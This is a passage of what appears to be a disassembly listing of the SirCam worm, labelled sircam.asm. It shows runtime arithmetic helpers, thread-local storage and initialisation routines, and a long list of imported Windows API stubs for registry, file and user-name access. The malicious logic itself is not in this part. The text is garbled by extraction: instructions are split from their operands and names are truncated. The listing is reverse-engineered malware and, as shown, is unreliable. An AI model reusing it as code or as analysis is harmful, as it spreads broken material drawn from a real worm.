ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40573C: sub_4056C9 ; CODE XREF: sub_4056C9+14\030j ; sub_4056C9+18\030j div xchg xor jmp endp ebx eax, edx edx, edx short loc_405735 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ push esi mov esi, [esp+0Ch] and esi, [esp+8] cmp esi, 0FFFFFFFFh jnz short loc_405762 mov esi, eax or esi, edx cmp esi, 80000000h jnz short loc_405762 mov eax, esi pop esi dec eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405762: ; CODE XREF: CODE:0040574F\030j ; CODE:0040575B\030j pop push esi dword ptr [esp+8] sircam.asm Fri Aug 10 12:42:44 2001 push call and retn 149 dword ptr [esp+8] sub_4056C9 eax, eax 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405775 proc near arg_0 arg_4 = dword ptr = dword ptr ; CODE XREF: sub_4078EB+11\031p 14h 18h push push push push mov mov or jnz or jz or jz ebp ebx esi edi ebx, [esp+arg_0] ecx, [esp+arg_4] ecx, ecx short loc_40578D edx, edx short loc_4057BC ebx, ebx short loc_4057BC mov mov xor xor ebp, ecx, edi, esi, shl rcl rcl rcl cmp jb ja cmp jb eax, 1 edx, 1 esi, 1 edi, 1 edi, ebp short loc_4057AF short loc_4057AA esi, ebx short loc_4057AF sub sbb inc esi, ebx edi, ebp eax loc_40578D: ; CODE XREF: sub_405775+E\030j ecx 40h edi esi loc_405798: ; CODE XREF: sub_405775+3A\031j loc_4057AA: ; CODE XREF: sub_405775+2F\030j loc_4057AF: ; CODE XREF: sub_405775+2D\030j ; sub_405775+33\030j loop mov mov loc_405798 eax, esi edx, edi loc_4057B5: ; CODE XREF: sub_405775+4C\031j pop edi pop esi pop ebx pop ebp retn 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4057BC: sub_405775 ; CODE XREF: sub_405775+12\030j ; sub_405775+16\030j div xchg xor jmp endp ebx eax, edx edx, edx short loc_4057B5 sircam.asm Fri Aug 10 12:42:44 2001 150 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp cl, 20h jl short loc_4057D9 cmp cl, 40h jl short loc_4057D2 xor edx, edx xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4057D2: ; CODE XREF: CODE:004057CB\030j mov edx, eax shl edx, cl xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4057D9: ; CODE XREF: CODE:004057C6\030j shld edx, eax, cl shl eax, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp cl, 20h jl short loc_4057F5 cmp cl, 40h jl short loc_4057EF sar edx, 1Fh mov eax, edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4057EF: ; CODE XREF: CODE:004057E7\030j mov eax, edx cdq sar eax, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4057F5: ; CODE XREF: CODE:004057E2\030j shrd eax, edx, cl sar edx, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp cl, 20h jl short loc_405811 cmp cl, 40h jl short loc_40580A xor edx, edx xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40580A: ; CODE XREF: CODE:00405803\030j mov eax, edx xor edx, edx shr eax, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405811: ; CODE XREF: CODE:004057FE\030j shrd eax, edx, cl shr edx, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sircam.asm sub_405818 Fri Aug 10 12:42:44 2001 151 proc near ; DATA XREF: CODE:0041A8E8\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_405876 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E424 jnz short loc_405868 mov eax, offset unk_41E048 call sub_404F80 mov eax, offset unk_41E214 call sub_404F80 call sub_4019C8 mov eax, offset word_41E40C call sub_4043B8 mov eax, offset word_41E3FC call sub_4043B8 mov eax, offset word_41E3EC call sub_4043B8 loc_405868: xor pop pop pop mov push ; CODE XREF: sub_405818+17\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40587D locret_405875: ; CODE XREF: sub_405818+63\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405876: ; DATA XREF: sub_405818+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_405875 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40587D: sub_405818 ; CODE XREF: sub_405818+5D\030j ; DATA XREF: sub_405818+58\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_405880 proc near ; DATA XREF: CODE:0041A8E4\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_405968 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_41E424, 1 jnb loc_40595A xor eax, eax mov ds:dword_41E030, eax xor eax, eax mov ds:dword_41E038, eax xor eax, eax mov ds:dword_41E03C, eax mov ds:byte_41E042, 2 sircam.asm Fri Aug 10 12:42:44 2001 152 mov mov mov mov mov mov mov mov mov call test jz call ds:byte_41E043, 2 ds:byte_41E044, 3 ds:word_41E3EC, 0 ds:word_41E3FC, 1 ds:word_41E40C, 0Ah ds:dword_41E414, 80020004h ds:dword_41E3E0, offset loc_404028 ds:dword_41E3E4, offset sub_404020 ds:dword_41E3E8, offset loc_404028 sub_402A58 al, al short loc_405919 sub_402A88 call mov mov call mov mov call call mov call mov call mov ; CODE XREF: sub_405880+92\030j sub_402B4C eax, offset unk_41E048 edx, offset dword_405974 sub_404E16 eax, offset unk_41E214 edx, offset dword_405974 sub_404E16 j_GetCommandLineA ds:dword_41E02C, eax sub_401214 ds:dword_41E028, eax j_GetCurrentThreadId ds:dword_41E020, eax xor pop pop pop mov push ; CODE XREF: sub_405880+18\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40596F loc_405919: loc_40595A: locret_405967: ; CODE XREF: sub_405880+ED\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405968: ; DATA XREF: sub_405880+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_405967 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40596F: sub_405880 ; CODE XREF: sub_405880+E7\030j ; DATA XREF: sub_405880+E2\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_405974 dd 0 ; DATA XREF: sub_405880+A3\030o ; sub_405880+B2\030o ; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleFileNameA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleHandleA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_LocalAlloc_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_TlsGetValue. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_TlsSetValue. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_4059A0 Fri Aug 10 12:42:44 2001 153 proc near ; CODE XREF: sub_4059F0+1B\031p push ebx mov eax, 0Ch test eax, eax jz short loc_4059ED cmp ds:dword_41E4CC, 0 jge short loc_4059BD mov eax, 0E2h call sub_4034BC loc_4059BD: ; CODE XREF: sub_4059A0+11\030j push 0Ch push 40h call j_LocalAlloc_0 mov ebx, eax test ebx, ebx jnz short loc_4059DB mov eax, 0E2h call sub_4034BC jmp short loc_4059E7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4059DB: push mov push call ; CODE XREF: sub_4059A0+2D\030j ebx eax, ds:dword_41E4CC eax j_TlsSetValue mov ; CODE XREF: sub_4059A0+39\030j ds:dword_41E4DC, ebx loc_4059E7: loc_4059ED: sub_4059A0 ; CODE XREF: sub_4059A0+8\030j pop ebx retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4059F0 proc near ; CODE XREF: sub_402618+19\030p ; sub_40265C+3\030p ... cl, ds:byte_41E4C8 eax, ds:dword_41E4CC cl, cl short loc_405A28 edx, large fs:2Ch eax, [edx+eax*4] mov mov test jnz mov mov retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405A0B: ; CODE XREF: sub_4059F0+40\031j call sub_4059A0 mov eax, ds:dword_41E4CC push eax call j_TlsGetValue test eax, eax jz short loc_405A21 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405A21: ; CODE XREF: sub_4059F0+2E\030j mov eax, ds:dword_41E4DC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405A28: ; CODE XREF: sub_4059F0+E\030j sircam.asm sub_4059F0 Fri Aug 10 12:42:44 2001 push call test jz retn endp 154 eax j_TlsGetValue eax, eax short loc_405A0B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405A34 proc near var_108 = byte ptr -108h push add push lea push mov push call mov call mov mov test jnz mov mov loc_405A6D: sub_405A34 ; CODE XREF: sub_405A80+25\031p ebx esp, 0FFFFFEF8h 105h eax, [esp+10Ch+var_108] eax eax, ds:dword_41E4D4 eax j_GetModuleFileNameA_0 eax, esp sub_404818 ebx, eax ds:dword_41C0B4, ebx ebx, ebx short loc_405A6D eax, ds:dword_41C0A8 ds:dword_41C0B4, eax ; CODE XREF: sub_405A34+2D\030j mov eax, offset asc_41C0A0+4 call sub_404B00 add esp, 108h pop ebx retn endp ; sp = -0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_405A80 sub_405A80 proc near ; CODE XREF: start+18\031p push eax push 0 call j_GetModuleHandleA_0 mov edx, offset asc_41C0A0+4 push edx mov ds:dword_41E4D4, eax mov [edx+4], eax mov dword ptr [edx+8], 0 mov dword ptr [edx+0Ch], 0 call sub_405A34 pop edx pop eax call sub_4032A0 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 155 ; Attributes: bp-based frame sub_405AB4 proc near ; DATA XREF: CODE:0041A8E0\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_405AD9 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E4D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405AE0 locret_405AD8: ; CODE XREF: sub_405AB4+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405AD9: ; DATA XREF: sub_405AB4+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_405AD8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_405AE0: sub_405AB4 ; CODE XREF: sub_405AB4+24\030j ; DATA XREF: sub_405AB4+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_405AE4: ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ; [00000006 ND] ; DATA XREF: CODE:0041A8DC\031o sub ds:dword_41E4D8, 1 retn BYTES: COLLAPSED FUNCTION j_GetUserNameA. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_RegCloseKey_0. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_RegCreateKeyExA. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_RegFlushKey. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_RegOpenKeyExA_0. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_RegQueryValueExA_0. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_RegSetValueExA. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_CloseHandle_0. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_CompareStringA. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_CopyFileA. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_CreateEventA. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_CreateFileA_0. PRESS KEYPAD "+" TO EXPAND] align 4 BYTES: COLLAPSED FUNCTION j_DeleteCriticalSection_0. PRESS KEYPAD "+" TO EXPA align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteFileA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_EnterCriticalSection_0. PRESS KEYPAD "+" TO EXPAN sircam.asm Fri Aug 10 12:42:44 2001 156 D] align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED ] align 4 ; [00000006 BYTES: COLLAPSED ND] align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED D] align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_EnumCalendarInfoA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_FileTimeToDosDateTime. PRESS KEYPAD "+" TO EXPAND FUNCTION j_FileTimeToLocalFileTime. PRESS KEYPAD "+" TO EXPA FUNCTION j_FindClose_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_FindFirstFileA_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_FindNextFileA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_FormatMessageA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetACP. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetCPInfo. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetComputerNameA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetCurrentDirectoryA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetCurrentProcess. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetCurrentProcessId. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetCurrentThread. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetCurrentThreadId_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetDateFormatA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetDiskFreeSpaceA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetLastError_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetLocalTime. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetLocaleInfoA_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetModuleFileNameA_1. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetModuleHandleA_1. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetProcAddress_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetShortPathNameA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetSystemDirectoryA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetTempPathA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetThreadLocale_0. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetTimeZoneInformation. PRESS KEYPAD "+" TO EXPAN FUNCTION j_GetUserDefaultLangID. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetVersionExA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetWindowsDirectoryA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GlobalAddAtomA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GlobalAlloc. PRESS KEYPAD "+" TO EXPAND] sircam.asm Fri Aug 10 12:42:44 2001 align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED EXPAND] align 4 ; [00000006 BYTES: COLLAPSED D] align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED D] align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 157 FUNCTION j_GlobalDeleteAtom. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GlobalFindAtomA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GlobalFree. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GlobalLock. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GlobalHandle. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GlobalReAlloc. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GlobalUnlock. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_InitializeCriticalSection_0. PRESS KEYPAD "+" TO FUNCTION j_LeaveCriticalSection_0. 